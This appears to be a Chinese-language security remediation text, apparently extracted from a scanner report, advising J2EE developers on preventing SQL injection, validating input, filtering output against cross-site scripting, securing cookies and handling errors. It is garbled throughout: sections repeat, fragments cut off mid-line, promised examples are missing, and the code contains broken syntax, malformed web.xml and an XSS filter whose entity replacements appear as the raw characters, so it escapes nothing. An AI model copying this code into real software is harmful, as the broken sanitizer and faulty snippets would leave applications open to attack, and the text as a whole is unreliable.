建议定义定制 JSP 标记(如 displayErrors),以迭代处理并呈现错误消息,如以上示例所示。

[4] 错误映射

通常情况下,"Servlet 容器"会返回与响应状态码或异常相对应的缺省错误页面。可以使用定制错误页面来指定状态码或异常与 Web 资源之间的映射。好的做法是开发不会泄露内部错误状态的静态错误页面(缺省情况下,大部分 Servlet 容器都会报告内部错误消息)。该映射配置在"Web 部署描述符(web.xml)"中,如以下示例所指定:

```
<!-- Mapping of HTTP error codes and application exceptions to error pages -->
<error-page>
<exception-type>UserValidationException</exception-type>
<location>/errors/validationError.html</error-page>
```

```
</error-page>
<error-code>500</exception-type>
  <location>/errors/internalError.html</error-page>
  </error-page>
  <error-page>
  ...
  </error-page>
  ...
  </error-page>
  ...
```

推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:

[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 是 Java 框架,定义如上所述的错误处理机制。Jakarta Commons Validator 是 Java 框架,定义如上所述的错误处理机制。验证规则配置在 XML 文件中,该文件定义了表单字段的输入验证规则以及对应的验证错误密钥。Struts 提供国际化支持以使用资源束和消息格式化来构建本地化应用程序。

使用"Struts 验证器"来验证 loginForm 的 userName 字段的示例:

```
<form-validation>
    <global>
        <validator name="required"</pre>
        classname="org.apache.struts.validator.FieldChecks"
       method="validateRequired"
       msg="errors.required">
       </validator>
       <validator name="mask"</pre>
        \verb|classname="org.apache.struts.validator.FieldChecks"|
       method="validateMask"
        msg="errors.invalid">
       </validator>
   </global>
    <formset>
       <form name="loginForm">
        <!-- userName is required and is alpha-numeric case insensitive -->
        <field property="userName" depends="required, mask">
        <!-- message resource key to display if validation fails -->
        <msq name="mask" key="login.userName.maskmsg"/>
        <arg0 key="login.userName.displayname"/>
        <var>
        <var-name>mask
        <var-value>^[a-zA-Z0-9]*$</var-value>
        </var>
        </field>
       </form>
   </formset>
</form-validation>
```

Struts JSP 标记库定义了有条件地显示一组累计错误消息的"errors"标记,如以下示例所示:

[2] JavaServer Faces 技术

"JavaServer Faces 技术"是一组代表 UI 组件、管理组件状态、处理事件、验证输入和支持国际化的 Java API(JSR 127)。

JavaServer Faces API 定义"output_errors"UIOutput 处理器,该处理器显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息。

使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:

```
引用
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/
Java 正则表达式包 —
http://jakarta.apache.org/regexp/
Jakarta 验证器 —
http://jakarta.apache.org/commons/validator/
JavaServer Faces 技术 —
http://java.sun.com/j2ee/javaserverfaces/
```

通过框架钓鱼

1/12/2018

738

链接注入 (便于跨站请求伪造)

发现数据库错误模式

** 预编译语句:

以下是保护应用程序免遭 SQL 注入(即恶意篡改 SQL 参数)的三种可行方法。 使用以下方法,而非动态构建 SQL 语句:

[1] PreparedStatement,通过预编译并且存储在 PreparedStatement 对象池中。 PreparedStatement 定义 setter 方法,以注册与受支持的 JDBC SQL 数据类型兼容的输入参数。 例如,setString 应该用于 VARCHAR 或 LONGVARCHAR 类型的输入参数(请参阅 Java API,以获取进一步的详细信息)。 通过这种方法来设置输入参数,可防止攻击者通过注入错误字符(如单引号)来操纵 SQL 语句。

如何在 J2EE 中使用 PreparedStatement 的示例:

```
// J2EE PreparedStatemenet Example
// Get a connection to the database
Connection myConnection;
if (isDataSourceEnabled()) {
    // using the DataSource to get a managed connection
    Context ctx = new InitialContext();
   myConnection = ((DataSource)ctx.lookup(datasourceName)).getConnection(dbUserName, dbPassword);
} else {
        // using the DriverManager to get a JDBC connection
        Class.forName(jdbcDriverClassPath);
       myConnection = DriverManager.getConnection(jdbcURL, dbUserName, dbPassword);
    } catch (ClassNotFoundException e) {
}
   PreparedStatement myStatement = myConnection.prepareStatement("select * from users where username =
   myStatement.setString(1, userNameField);
   ResultSet rs = mvStatement.executeOuerv();
   rs.close();
} catch (SQLException sqlException) {
} finally {
   myStatement.close();
   myConnection.close();
```

[2] CallableStatement,扩展 PreparedStatement 以执行数据库 SQL 存储过程。 该类继承 PreparedStatement 的输入 setter 方法(请参阅上面的 [1])。

以下示例假定已创建该数据库存储过程:

CREATE PROCEDURE select_user (@username varchar(20))AS SELECT * FROM USERS WHERE USERNAME = @username;如何在 J2EE 中使用 CallableStatement 以执行以上存储过程的示例:

```
// J2EE PreparedStatemenet Example
// Get a connection to the database
Connection myConnection;
if (isDataSourceEnabled()) {
    // using the DataSource to get a managed connection
    Context ctx = new InitialContext();
    myConnection = ((DataSource)ctx.lookup(datasourceName)).getConnection(dbUserName, dbPassword);
} else {
    try {
        // using the DriverManager to get a JDBC connection
        Class.forName(jdbcDriverClassPath);
        myConnection = DriverManager.getConnection(jdbcURL, dbUserName, dbPassword);
} catch (ClassNotFoundException e) {
```

```
try {
    PreparedStatement myStatement = myConnection.prepareCall("{?= call select_user ?,?}");
    myStatement.setString(1, userNameField);
    myStatement.registerOutParameter(1, Types.VARCHAR);
    ResultSet rs = myStatement.executeQuery();
    ...
    rs.close();
} catch (SQLException sqlException) {
    ...
} finally {
    myStatement.close();
    myConnection.close();
}
```

[3] 实体 Bean,代表持久存储机制中的 EJB 业务对象。 实体 Bean 有两种类型: bean 管理和容器管理。 当使用 bean 管理的持久性时,开发者负责撰写访问数据库的 SQL 代码(请参阅以上的 [1] 和 [2] 部分)。 当使用容器管理的持久性时,EJB 容器会自动生成 SQL 代码。 因此,容器要负责防止恶意尝试篡改生成的 SQL 代码。

如何在 J2EE 中使用实体 Bean 的示例:

```
// J2EE EJB Example
try {
    // lookup the User home interface
    UserHome userHome = (UserHome)context.lookup(User.class);
    // find the User remote interface
    User = userHome.findByPrimaryKey(new UserKey(userNameField));
    ...
} catch (Exception e) {
    ...
}
```

推荐使用的 JAVA 工具 不适用

参考资料

http://java.sun.com/j2se/1.4.1/docs/api/java/sql/PreparedStatement.html http://java.sun.com/j2se/1.4.1/docs/api/java/sql/CallableStatement.html

** 输入数据验证:

虽然为方便用户而在客户端层上提供数据验证,但仍必须使用 Servlet 在服务器层上执行数据验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。

一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容: [1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是"字符串")[3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是将以上例程作为"验证器"实用程序类中的静态方法实现。以下部分描述验证器类的一个示例。

[1] 必需字段"始终"检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。如何验证必需字段的示例:

```
// Java example to validate required fields
public Class Validator {
    ...
    public static boolean validateRequired(String value) {
        boolean isFieldValid = false;
        if (value != null && value.trim().length() > 0) {
        isFieldValid = true;
```

```
}
    return isFieldValid;
}
...
}
...

String fieldValue = request.getParameter("fieldName");
if (Validator.validateRequired(fieldValue)) {
    // fieldValue is valid, continue processing request
    ...
}
```

[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是"字符串"。开发者负责验证输入的数据类型是否正确。使用 Java 基本包装程序类,来检查是否可将字段值安全地转换为所需的基本数据类型。

验证数字字段(int 类型)的方式的示例:

```
// Java example to validate that a field is an int number
public Class Validator {
    public static boolean validateInt(String value) {
       boolean isFieldValid = false;
        try {
        Integer.parseInt(value);
        isFieldValid = true;
        } catch (Exception e) {
        isFieldValid = false;
        return isFieldValid;
    }
}
// check if the HTTP request parameter is of type int
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
   // fieldValue is valid, continue processing request
}
```

好的做法是将所有 HTTP 请求参数转换为其各自的数据类型。例如,开发者应将请求参数的"integerValue"存储在请求属性中,并按以下示例所示来使用:

```
// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // convert fieldValue to an Integer
    Integer integerValue = Integer.getInteger(fieldValue);
    // store integerValue in a request attribute
    request.setAttribute("fieldName", integerValue);
}
...
// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute("fieldName");
...
```

应用程序应处理的主要 Java 数据类型:

- Byte

- Short
- Integer
- Long
- Float
- Double
- Date

[3] 字段长度"始终"确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。以下示例验证 userName 字段的长度是否在 8 至 20 个字符之间:

```
// Example to validate the field length
public Class Validator {
    ...
    public static boolean validateLength(String value, int minLength, int maxLength) {
        String validatedValue = value;
        if (!validateRequired(value)) {
            validatedValue = "";
        }
        return (validatedValue.length() >= minLength &&
        validatedValue.length() <= maxLength);
    }
    ...
}
...
String userName = request.getParameter("userName");
if (Validator.validateRequired(userName)) {
    if (Validator.validateLength(userName, 8, 20)) {
        // userName is valid, continue further processing
        ...
    }
}</pre>
```

[4] 字段范围

始终确保输入参数是在由功能需求定义的范围内。

以下示例验证输入 numberOfChoices 是否在 10 至 20 之间:

[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。以下示例验证用户针对允许的选项列表进行的选择:

```
// Example to validate user selection against a list of options
```

```
public Class Validator {
    public static boolean validateOption(Object[] options, Object value) {
        boolean isValidValue = false;
        trv {
        List list = Arrays.asList(options);
        if (list != null) {
        isValidValue = list.contains(value);
        } catch (Exception e) {
        return isValidValue;
}
// Allowed options
String[] options = {"option1", "option2", "option3");
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter("userSelection");
if (Validator.validateOption(options, userSelection)) {
    // valid user selection, continue processing request
```

[6] 字段模式

始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式: **^**[a-zA-Z0-9]*****\$

Java 1.3 或更早的版本不包含任何正则表达式包。建议将"Apache 正则表达式包"(请参阅以下"资源")与 Java 1.3 一起使用,以解决该缺乏支持的问题。执行正则表达式验证的示例:

```
// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package
import org.apache.regexp.RE;
import org.apache.regexp.RESyntaxException;
public Class Validator {
    public static boolean matchPattern(String value, String expression) {
       boolean match = false;
       if (validateRequired(expression)) {
        RE r = new RE (expression);
        match = r.match(value);
        return match;
   }
// Verify that the userName request parameter is alpha-numeric
String userName = request.getParameter("userName");
if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
   // userName is valid, continue processing request
```

Java 1.4 引进了一种新的正则表达式包 (java.util.regex)。以下是使用新的 Java 1.4 正则表达式包的 Validator.matchPattern 修订版:

```
// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package
import java.util.regex.Pattern;
import java.util.regexe.Matcher;
public Class Validator {
```

```
public static boolean matchPattern(String value, String expression) {
   boolean match = false;
   if (validateRequired(expression)) {
    match = Pattern.matches(expression, value);
   }
   return match;
}
```

[7] cookie 值使用 javax.servlet.http.Cookie 对象来验证 cookie 值。适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。验证必需 cookie 值的示例:

```
// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
    // find the "user" cookie
    for (int i=0; i<cookies.length; ++i) {
        if (cookies[i].getName().equals("user")) {
            // validate the cookie value
            if (Validator.validateRequired(cookies[i].getValue()) {
            // valid cookie value, continue processing request
            ...
        }
    }
}
</pre>
```

[8] HTTP 响应

[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,请通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符: <>"'%;)(&+

以下示例通过将敏感字符转换为其对应的字符实体来过滤指定字符串:

```
// Example to filter sensitive data to prevent cross-site scripting
public Class Validator {
   public static String filter(String value) {
       if (value == null) {
       return null;
       StringBuffer result = new StringBuffer(value.length());
       for (int i=0; i<value.length(); ++i) {
        switch (value.charAt(i)) {
       case '<':
       result.append("<");
       break;
       case '>':
       result.append(">");
       break;
case '"':
        result.append(""");
       case '\'':
       result.append("'");
       break;
       case '%':
       result.append("%");
       break;
       case ';':
        result.append("&#59;");
       break;
```

```
case '(':
       result.append("(");
       break;
       case ')':
       result.append(")");
       break;
       case '&':
       result.append("&");
       break;
       case '+':
       result.append("+");
       break;
       default:
       result.append(value.charAt(i));
       break;
       return result;
}
// Filter the HTTP response using Validator.filter
PrintWriter out = response.getWriter();
// set output response
out.write(Validator.filter(response));
out.close();
```

Java Servlet API 2.3 引进了"过滤器",它支持拦截和转换 HTTP 请求或响应。以下示例使用 Validator.filter 来用"Servlet 过滤器"清理响应:

```
// Example to filter all sensitive characters in the HTTP response using a Java Filter.
  // This example is for illustration purposes since it will filter all content in the response, including
HTML tags!
  public class SensitiveCharsFilter implements Filter {
      public void doFilter(ServletRequest request,
         ServletResponse response,
          FilterChain chain)
          throws IOException, ServletException {
          PrintWriter out = response.getWriter();
          ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
          chain.doFilter(request, wrapper);
         CharArrayWriter caw = new CharArrayWriter();
          caw.write(Validator.filter(wrapper.toString()));
          response.setContentType("text/html");
         response.setContentLength(caw.toString().length());
          out.write(caw.toString());
          out.close();
      }
      public class CharResponseWrapper extends HttpServletResponseWrapper {
         private CharArrayWriter output;
          public String toString() {
          return output.toString();
          public CharResponseWrapper(HttpServletResponse response) {
          super (response);
          output = new CharArrayWriter();
          public PrintWriter getWriter(){
          return new PrintWriter(output);
```

[8-2] 保护 cookie

在 cookie 中存储敏感数据时,确保使用 Cookie.setSecure(布尔标志)在 HTTP 响应中设置 cookie 的安全标志,以指导浏览器使用安全协议(如 HTTPS 或 SSL)发送 cookie。 保护"用户"cookie 的示例:

```
// Example to secure a cookie, i.e. instruct the browser to
// send the cookie using a secure protocol
Cookie cookie = new Cookie("user", "sensitive");
cookie.setSecure(true);
response.addCookie(cookie);
```

推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:

[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 是 Java 框架,定义如上所述的错误处理机制。Jakarta Commons Validator 是一种强大的框架,用来实现所有以上数据验证需求。这些规则配置在定义表单字段的输入验证规则的 XML 文件中。在缺省情况下,Struts 支持在使用 Struts"bean:write"标记撰写的所有数据上,过滤 [8] HTTP 响应中输出的危险字符。可通过设置"filter=false"标志来禁用该过滤。

Struts 定义以下基本输入验证器,但也可定义定制的验证器:

required:如果字段包含空格以外的任何字符,便告成功。

mask: 如果值与掩码属性给定的正则表达式相匹配,便告成功。

range: 如果值在 min 和 max 属性给定的值的范围内 ((value >= min) & (value <= max)), 便告成功。

maxLength: 如果字段长度小于或等于 max 属性,便告成功。

minLength: 如果字段长度大于或等于 min 属性, 便告成功。

byte、short、integer、long、float、double:如果可将值转换为对应的基本类型,便告成功。

date: 如果值代表有效日期,便告成功。可能会提供日期模式。

creditCard: 如果值可以是有效的信用卡号码,便告成功。

e-mail: 如果值可以是有效的电子邮件地址,便告成功。

使用"Struts 验证器"来验证 loginForm 的 userName 字段的示例:

```
<form-validation>
    <qlobal>
        <validator name="required"</pre>
        classname="org.apache.struts.validator.FieldChecks"
        method="validateRequired"
        msg="errors.required">
        </validator>
        <validator name="mask"
        classname="org.apache.struts.validator.FieldChecks"
       method="validateMask"
        msg="errors.invalid">
        </validator>
    </global>
    <formset>
        <form name="loginForm">
        <!-- userName is required and is alpha-numeric case insensitive -->
        <field property="userName" depends="required, mask">
        <!-- message resource key to display if validation fails -->
        <msg name="mask" key="login.userName.maskmsg"/>
        <arg0 key="login.userName.displayname"/>
        <var>
        <var-name>mask</var-name>
        <var-value>^[a-zA-Z0-9]*$</var-value>
        </var>
        </field>
       </form>
    </formset>
</form-validation>
```

[2] JavaServer Faces 技术 "JavaServer Faces 技术"是一组代表 UI 组件、管理组件状态、处理事件和输入验证的 Java API (JSR 127)。 JavaServer Faces API 实现以下基本验证器,但可定义定制的验证器: validate doublerange: 在组件上注册 DoubleRangeValidator validate_length: 在组件上注册 LengthValidator validate_longrange: 在组件上注册 LongRangeValidator validate_required: 在组件上注册 RequiredValidator validate_stringrange: 在组件上注册 StringRangeValidator validator: 在组件上注册定制的 Validator JavaServer Faces API 定义以下 Ullnput 和 UlOutput 处理器 (标记): input_date:接受以 java.text.Date 实例格式化的 java.util.Date output date: 显示以 java.text.Date 实例格式化的 java.util.Date input datetime:接受以 java.text.DateTime 实例格式化的 java.util.Date output datetime: 显示以 java.text.DateTime 实例格式化的 java.util.Date input number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型) output number: 显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型) input_text: 接受单行文本字符串。 output_text:显示单行文本字符串。 input_time:接受以 java.text.DateFormat 时间实例格式化的 java.util.Date output_time:显示以 java.text.DateFormat 时间实例格式化的 java.util.Date input_hidden: 允许页面作者在页面中包括隐藏变量 input_secret: 接受不含空格的单行文本,并在输入时,将其显示为一组星号 input_textarea:接受多行文本 output_errors:显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息 output_label:将嵌套的组件显示为指定输入字段的标签

使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:

output_message: 显示本地化消息

```
引用
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/
Java 正则表达式包 一
```

http://jakarta.apache.org/regexp/ Jakarta 验证器 http://jakarta.apache.org/commons/validator/ JavaServer Faces 技术 —

http://java.sun.com/j2ee/javaserverfaces/

** 错误处理:

许多 J2EE Web 应用程序体系结构都遵循"模型视图控制器(MVC)"模式。在该模式中,Servlet 扮演"控制器"的角色。Servlet 将应用程序处理委派给 EJB 会话 Bean(模型)之类的 JavaBean。然后,Servlet 再将请求转发给 JSP(视图),以呈现处理结果。Servlet 应检查所有的输入、输出、返回码、错误代码和已知的异常,以确保实际处理按预期进行。

数据验证可保护应用程序免遭恶意数据篡改,而有效的错误处理策略则是防止应用程序意外泄露内部错误消息(如异常堆栈跟踪)所不可或缺的。好的错误处理策略会处理以下项:

- [1] 定义错误
- [2] 报告错误
- [3] 呈现错误
- [4] 错误映射
- [1] 定义错误

应避免在应用程序层(如 Servlet)中硬编码错误消息。 相反地,应用程序应该使用映射到已知应用程序故障的错误密钥。好的做法是定义错误密钥,且该错误密钥映射到 HTML 表单字段或其他 Bean 属性的验证规则。例如,如果需要 "user name"字段,其内容为字母数字,并且必须在数据库中是唯一的,那么就应定义以下错误密钥:

- (a) ERROR_USERNAME_REQUIRED: 该错误密钥用于显示消息,以通知用户需要 "user_name" 字段;
- (b) ERROR_USERNAME_ALPHANUMERIC:该错误密钥用于显示消息,以通知用户 "user_name" 字段应该是字母数字:
- (c) ERROR USERNAME_DUPLICATE:该错误密钥用于显示消息,以通知用户 "user_name" 值在数据库中重复;
- (d) ERROR USERNAME INVALID: 该错误密钥用于显示一般消息,以通知用户 "user name" 值无效;

好的做法是定义用于存储和报告应用程序错误的以下框架 Java 类:

- ErrorKeys: 定义所有错误密钥

```
// Example: ErrorKeys defining the following error keys:
// - ERROR_USERNAME_REQUIRED
// - ERROR_USERNAME_ALPHANUMERIC
// - ERROR_USERNAME_DUPLICATE
// - ERROR_USERNAME_INVALID
// ...
public Class ErrorKeys {
   public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
   public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
   public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
   public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
   ...
}
```

- Error: 封装个别错误

```
// Example: Error encapsulates an error key.
// Error is serializable to support code executing in multiple JVMs.
public Class Error implements Serializable {

    // Constructor given a specified error key
    public Error(String key) {
        this(key, null);
    }

    // Constructor given a specified error key and array of placeholder objects
    public Error(String key, Object[] values) {
        this.key = key;
        this.values = values;
    }
}
```

```
// Returns the error key
public String getKey() {
  return this.key;
}

// Returns the placeholder values
public Object[] getValues() {
  return this.values;
}

private String key = null;
private Object[] values = null;
}
```

- Errors: 封装错误的集合

```
// Example: Errors encapsulates the Error objects being reported to the presentation layer.
\ensuremath{//} Errors are stored in a HashMap where the key is the bean property name and value is an
// ArrayList of Error objects.
public Class Errors implements Serializable {
    // Adds an Error object to the Collection of errors for the specified bean property.
    public void addError(String property, Error error) {
    ArrayList propertyErrors = (ArrayList)errors.get(property);
   if (propertyErrors == null) {
    propertyErrors = new ArrayList();
    errors.put(property, propertyErrors);
    propertyErrors.put(error);
   // Returns true if there are any errors
    public boolean hasErrors() {
    return (errors.size > 0);
    \ensuremath{//} Returns the Errors for the specified property
    public ArrayList getErrors(String property) {
    return (ArrayList)errors.get(property);
    private HashMap errors = new HashMap();
```

以下是使用上述框架类来处理"user name"字段验证错误的示例:

```
// Example to process validation errors of the "user_name" field.
Errors errors = new Errors();
String userName = request.getParameter("user_name");
// (a) Required validation rule
if (!Validator.validateRequired(userName)) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_REQUIRED));
} // (b) Alpha-numeric validation rule
else if (!Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_ALPHANUMERIC));
}
else
{
    // (c) Duplicate check validation rule
    // We assume that there is an existing UserValidationEJB session bean that implements
    // a checkIfDuplicate() method to verify if the user already exists in the database.
    try {
        ...
        if (UserValidationEJB.checkIfDuplicate(userName)) {
```

```
errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE));
}
} catch (RemoteException e) {
    // log the error
    logger.error("Could not validate user for specified userName: " + userName);
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE);
}
}
// set the errors object in a request attribute called "errors"
request.setAttribute("errors", errors);
...
```

[2] 报告错误

有两种方法可报告 web 层应用程序错误:

- (a) Servlet 错误机制
- (b) JSP 错误机制

[2-a] Servlet 错误机制

Servlet 可通过以下方式报告错误:

- 转发给输入 JSP (已将错误存储在请求属性中),或
- 使用 HTTP 错误代码参数来调用 response.sendError, 或
- 抛出异常

好的做法是处理所有已知应用程序错误(如 [1] 部分所述),将这些错误存储在请求属性中,然后转发给输入 JSP。输入 JSP 应显示错误消息,并提示用户重新输入数据。以下示例阐明转发给输入 JSP(userInput.jsp)的方式:

```
// Example to forward to the userInput.jsp following user validation errors
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd != null) {
   rd.forward(request, response);
}
```

如果 Servlet 无法转发给已知的 JSP 页面,那么第二个选项是使用 response.sendError 方法,将 HttpServletResponse.SC_INTERNAL_SERVER_ERROR(状态码 500)作为参数,来报告错误。请参阅 javax.servlet.http.HttpServletResponse 的 Javadoc,以获取有关各种 HTTP 状态码的更多详细信息。返回 HTTP 错误的示例:

作为最后的手段,Servlet 可以抛出异常,且该异常必须是以下其中一类的子类:

- RuntimeException
- ServletException
- IOException

[2-b] JSP 错误机制

JSP 页面通过定义 errorPage 伪指令来提供机制,以处理运行时异常,如以下示例所示:

```
<%@ page errorPage="/errors/userValidation.jsp" %>
```

未捕获的 JSP 异常被转发给指定的 errorPage,并且原始异常设置在名称为 javax.servlet.jsp.jspException 的请求参数中。错误页面必须包括 isErrorPage 伪指令,如下所示:

```
<%@ page isErrorPage="true" %>
```

isErrorPage 伪指令导致"exception"变量初始化为所抛出的异常对象。

[3] 呈现错误

J2SE Internationalization API 提供使应用程序资源外部化以及将消息格式化的实用程序类,其中包括:

- (a) 资源束
- (b) 消息格式化

[3-a] 资源束

资源束通过将本地化数据从使用该数据的源代码中分离来支持国际化。每一资源束都会为特定的语言环境存储键/值对的映射。

java.util.PropertyResourceBundle 将内容存储在外部属性文件中,对其进行使用或扩展都很常见,如以下示例所示:

可定义多种资源,以支持不同的语言环境(因此名为资源束)。例如,可定义 ErrorMessages_fr.properties 以支持该束系列的法语成员。如果请求的语言环境的资源成员不存在,那么会使用缺省成员。在以上示例中,缺省资源是 ErrorMessages.properties。应用程序(JSP 或 Servlet)会根据用户的语言环境从适当的资源检索内容。[3-b] 消息格式化

J2SE 标准类 java.util.MessageFormat 提供使用替换占位符来创建消息的常规方法。MessageFormat 对象包含嵌入了格式说明符的模式字符串,如下所示:

```
// Example to show how to format a message using placeholder parameters
String pattern = "User name {0} already exists, please choose another one";
String userName = request.getParameter("user_name");
Object[] args = new Object[];
args[0] = userName;
String message = MessageFormat.format(pattern, args);
```

以下是使用 ResourceBundle 和 MessageFormat 来呈现错误消息的更加全面的示例:

```
// Example to render an error message from a localized ErrorMessages resource (properties file)
```

```
// Utility class to retrieve locale-specific error messages
public Class ErrorMessageResource {
    // Returns the error message for the specified error key in the environment locale
   public String getErrorMessage(String errorKey) {
       return getErrorMessage(errorKey, defaultLocale);
    // Returns the error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Locale locale) {
       return getErrorMessage(errorKey, null, locale);
   // Returns a formatted error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Object[] args, Locale locale) {
        // Get localized ErrorMessageResource
        ResourceBundle errorMessageResource = ResourceBundle.getBundle("ErrorMessages", locale);
        // Get localized error message
        String errorMessage = errorMessageResource.getString(errorKey);
        if (args != null) {
       // Format the message using the specified placeholders args
        return MessageFormat.format(errorMessage, args);
       } else {
       return errorMessage;
    // default environment locale
   private Locale defaultLocale = Locale.getDefaultLocale();
// Get the user's locale
Locale userLocale = request.getLocale();
// Check if there were any validation errors
Errors errors = (Errors) request.getAttribute("errors");
if (errors != null && errors.hasErrors()) {
    // iterate through errors and output error messages corresponding to the "user name" property
    ArrayList userNameErrors = errors.getErrors("user name");
   ListIterator iterator = userNameErrors.iterator();
    while (iterator.hasNext()) {
       // Get the next error object
        Error error = (Error)iterator.next();
        String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
       output.write(errorMessage + "\r\n");
}
```

建议定义定制 JSP 标记(如 displayErrors),以迭代处理并呈现错误消息,如以上示例所示。

[4] 错误映射

通常情况下,"Servlet 容器"会返回与响应状态码或异常相对应的缺省错误页面。可以使用定制错误页面来指定状态码或异常与 Web 资源之间的映射。好的做法是开发不会泄露内部错误状态的静态错误页面(缺省情况下,大部分 Servlet 容器都会报告内部错误消息)。该映射配置在"Web 部署描述符(web.xml)"中,如以下示例所指定:

```
<!-- Mapping of HTTP error codes and application exceptions to error pages -->
<error-page>
  <exception-type>UserValidationException</exception-type>
  <location>/errors/validationError.html</error-page>
  <error-page>
  <error-page>
  <error-code>500</exception-type>
  <location>/errors/internalError.html</error-page>
  </error-page>
  <error-page>
  <error-page>
  </error-page>
  <error-page>
  </error-page>
  ...
  </error-page>
  ...
</error-page>
...
```

推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:

[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 是 Java 框架,定义如上所述的错误处理机制。Jakarta Commons Validator 是 Java 框架,定义如上所述的错误处理机制。验证规则配置在 XML 文件中,该文件定义了表单字段的输入验证规则以及对应的验证错误密钥。Struts 提供国际化支持以使用资源束和消息格式化来构建本地化应用程序。

使用"Struts 验证器"来验证 loginForm 的 userName 字段的示例:

```
<form-validation>
    <qlobal>
         <validator name="required"</pre>
        classname="org.apache.struts.validator.FieldChecks"
        method="validateRequired"
        msg="errors.required">
        </validator>
        <validator name="mask"</pre>
        classname="org.apache.struts.validator.FieldChecks"
        method="validateMask"
        msg="errors.invalid">
        </validator>
    </global>
    <formset>
        <form name="loginForm">
        <!-- userName is required and is alpha-numeric case insensitive --> <field property="userName" depends="required,mask">
        <!-- message resource key to display if validation fails -->
        <msg name="mask" key="login.userName.maskmsg"/>
        <arg0 key="login.userName.displayname"/>
        <var-name>mask</var-name>
        <var-value>^[a-zA-Z0-9]*$</var-value>
        </war>
        </field>
        </form>
    </formset>
</form-validation>
```

Struts JSP 标记库定义了有条件地显示一组累计错误消息的"errors"标记,如以下示例所示:

```
<%@ page language="java" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<html·html>
<head>
  <html:form action="/logon.do">
   <html:errors property="username"/>
      <bean:message key="prompt.username"/>
      <html:text property="username" size="16"/>
     <html:submit><bean:message key="button.submit"/></html:submit>
   <html:reset><bean:message key="button.reset"/></html:reset>
```

```
</html:form>
</body>
</html:html>
```

[2] JavaServer Faces 技术

"JavaServer Faces 技术"是一组代表 UI 组件、管理组件状态、处理事件、验证输入和支持国际化的 Java API(JSR 127)。

JavaServer Faces API 定义"output_errors"UIOutput 处理器,该处理器显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息。

使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:

引用

Java API 1.3 -

http://java.sun.com/j2se/1.3/docs/api/

Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/

Java Servlet API 2.3 -

http://java.sun.com/products/servlet/2.3/javadoc/

Java 正则表达式包 -

http://jakarta.apache.org/regexp/

Jakarta 验证器 一

http://jakarta.apache.org/commons/validator/

JavaServer Faces 技术 一

http://java.sun.com/j2ee/javaserverfaces/

JSON 中反映的未清理用户输入

- ** 输入数据验证:
